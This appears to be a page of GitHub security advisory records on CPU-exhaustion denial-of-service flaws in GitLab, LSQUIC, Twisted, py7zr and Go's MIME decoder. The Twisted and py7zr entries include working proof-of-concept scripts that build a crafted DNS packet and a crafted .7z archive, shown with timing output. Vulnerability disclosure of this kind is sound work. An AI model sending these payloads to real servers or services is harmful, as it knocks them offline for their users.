"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T12:15:28Z",
"severity": "HIGH"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 9.4 before 17.4.6, 17.5 before 17.5.4, and 17.6 before 17.6.2. An attacker could cause a denial of service with requests for diff files on a commit or merge request.",
"id": "GHSA-g8v2-8wgj-gwx8",
"modified": "2024-12-12T12:31:16Z",
"published": "2024-12-12T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8233"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2650086"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480867"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GHGV-34P7-4R7X
Vulnerability from github – Published: 2025-02-20 03:32 – Updated: 2025-02-20 03:32A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.
{
"affected": [],
"aliases": [
"CVE-2025-24947"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T03:15:12Z",
"severity": "MODERATE"
},
"details": "A hash collision vulnerability (in the hash table used to manage connections) in LSQUIC (aka LiteSpeed QUIC) before 4.2.0 allows remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs). This is caused by XXH32 usage.",
"id": "GHSA-ghgv-34p7-4r7x",
"modified": "2025-02-20T03:32:03Z",
"published": "2025-02-20T03:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24947"
},
{
"type": "WEB",
"url": "https://github.com/litespeedtech/lsquic/releases/tag/v4.2.0"
},
{
"type": "WEB",
"url": "https://github.com/ncc-pbottine/QUIC-Hash-Dos-Advisory"
},
{
"type": "WEB",
"url": "https://xxhash.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GRGV-6HW6-V9G4
Vulnerability from github – Published: 2026-05-05 21:12 – Updated: 2026-06-08 20:05Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
## src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None):
visited = set()
self.name = b""
off = 0
while 1:
l = ord(readPrecisely(strio, 1))
if l == 0:
if off > 0:
strio.seek(off)
return
if (l >> 6) == 3:
new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
if new_off in visited:
raise ValueError("Compression loop in encoded name")
visited.add(new_off)
if off == 0:
off = strio.tell()
strio.seek(new_off)
continue
label = readPrecisely(strio, l)
if self.name == b"":
self.name = label
else:
self.name = self.name + b"." + label
PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
Author: Tomas Illuminati
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Twisted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.0rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42304"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:12:37Z",
"nvd_published_at": "2026-05-13T21:16:46Z",
"severity": "HIGH"
},
"details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n## src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n visited = set()\n self.name = b\"\"\n off = 0\n while 1:\n l = ord(readPrecisely(strio, 1))\n if l == 0:\n if off \u003e 0:\n strio.seek(off)\n return\n if (l \u003e\u003e 6) == 3:\n new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n if new_off in visited:\n raise ValueError(\"Compression loop in encoded name\")\n visited.add(new_off)\n if off == 0:\n off = strio.tell()\n strio.seek(new_off)\n continue\n label = readPrecisely(strio, l)\n if self.name == b\"\":\n self.name = label\n else:\n self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n num_pointers = 8000\n packet_length = 65533\n num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n buffer = bytearray(packet_length)\n\n struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n ptr_offset = 12\n for _ in range(num_pointers - 1):\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n ptr_offset += 2\n\n null_byte_offset = ptr_offset + 2\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n buffer[null_byte_offset] = 0\n\n question_offset = null_byte_offset + 1\n for _ in range(num_questions):\n if question_offset + 6 \u003c= packet_length:\n struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n question_offset += 6\n\n return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n factory = server.DNSServerFactory(clients=[])\n protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n transport = proto_helpers.StringTransport()\n protocol.makeConnection(transport)\n\n pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n print(\"payload\")\n print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n start = time.time()\n protocol.dataReceived(payload)\n end = time.time()\n\n print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
"id": "GHSA-grgv-6hw6-v9g4",
"modified": "2026-06-08T20:05:10Z",
"published": "2026-05-05T21:12:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}
GHSA-H4GH-22QQ-72R7
Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()
def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.2"
},
"package": {
"ecosystem": "PyPI",
"name": "py7zr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55206"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:16:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n numstreams is read directly from the archive header. A crafted .7z\n archive with a large numstreams value causes excessive CPU consumption\n during SevenZipFile.__init__() \u2014 no extraction is needed. A 50 KB\n archive takes ~7 seconds of CPU time.\n\n### Details\n\n The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n self.packpositions = [sum(self.packsizes[:i]) for i in\n range(self.numstreams + 1)]\n\n numstreams is parsed from the archive header via read_uint64() and is\n attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n beginning, producing O(n^2) total work. This runs during header\n parsing in SevenZipFile.__init__(), before any extraction.\n\n Suggested fix \u2014 replace with O(n) cumulative sum:\n\n from itertools import accumulate\n self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n import py7zr\n from py7zr.archiveinfo import write_uint64, PROPERTY\n\n MAGIC = b\u0027\\x37\\x7a\\xbc\\xaf\\x27\\x1c\u0027\n\n def encode_uint64(v):\n buf = io.BytesIO()\n write_uint64(buf, v)\n return buf.getvalue()\n\n def build_7z_with_streams(numstreams):\n header = io.BytesIO()\n header.write(PROPERTY.HEADER)\n header.write(PROPERTY.MAIN_STREAMS_INFO)\n header.write(PROPERTY.PACK_INFO)\n header.write(encode_uint64(0))\n header.write(encode_uint64(numstreams))\n header.write(PROPERTY.SIZE)\n for _ in range(numstreams):\n header.write(encode_uint64(1))\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header_data = header.getvalue()\n\n out = io.BytesIO()\n out.write(MAGIC)\n out.write(b\u0027\\x00\\x04\u0027)\n next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n start_header = (struct.pack(\u0027\u003cQ\u0027, 0)\n + struct.pack(\u0027\u003cQ\u0027, len(header_data))\n + struct.pack(\u0027\u003cI\u0027, next_crc))\n out.write(struct.pack(\u0027\u003cI\u0027, binascii.crc32(start_header) \u0026\n 0xFFFFFFFF))\n out.write(start_header)\n out.write(header_data)\n return out.getvalue()\n\n for n in [1000, 5000, 10000, 30000, 50000]:\n archive = build_7z_with_streams(n)\n start = time.time()\n try:\n with py7zr.SevenZipFile(io.BytesIO(archive), \u0027r\u0027) as z:\n pass\n except Exception:\n # The crafted archive may later raise due to being malformed,\n # but the quadratic work has already been performed during\n # header parsing in SevenZipFile.__init__().\n pass\n elapsed = time.time() - start\n print(f\"n={n:6d} size={len(archive):8d} bytes\n time={elapsed:.3f}s\")\n```\n Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n Results:\n\n n= 1000 size= 1042 bytes time=0.004s\n n= 5000 size= 5042 bytes time=0.071s\n n= 10000 size= 10042 bytes time=0.291s\n n= 30000 size= 30043 bytes time=2.609s\n n= 50000 size= 50043 bytes time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n untrusted sources using py7zr.SevenZipFile() can be caused to consume\n excessive CPU time with a small crafted archive. The quadratic cost\n occurs during header parsing, before any content extraction.",
"id": "GHSA-h4gh-22qq-72r7",
"modified": "2026-06-19T21:16:33Z",
"published": "2026-06-19T21:16:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
},
{
"type": "PACKAGE",
"url": "https://github.com/miurahr/py7zr"
},
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
}
GHSA-H524-452V-82P9
Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-06-03 18:33Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.
{
"affected": [],
"aliases": [
"CVE-2026-42504"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T23:16:37Z",
"severity": "HIGH"
},
"details": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.",
"id": "GHSA-h524-452v-82p9",
"modified": "2026-06-03T18:33:09Z",
"published": "2026-06-03T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42504"
},
{
"type": "WEB",
"url": "https://go.dev/cl/774481"
},
{
"type": "WEB",
"url": "https://go.dev/issue/79217"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-5038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.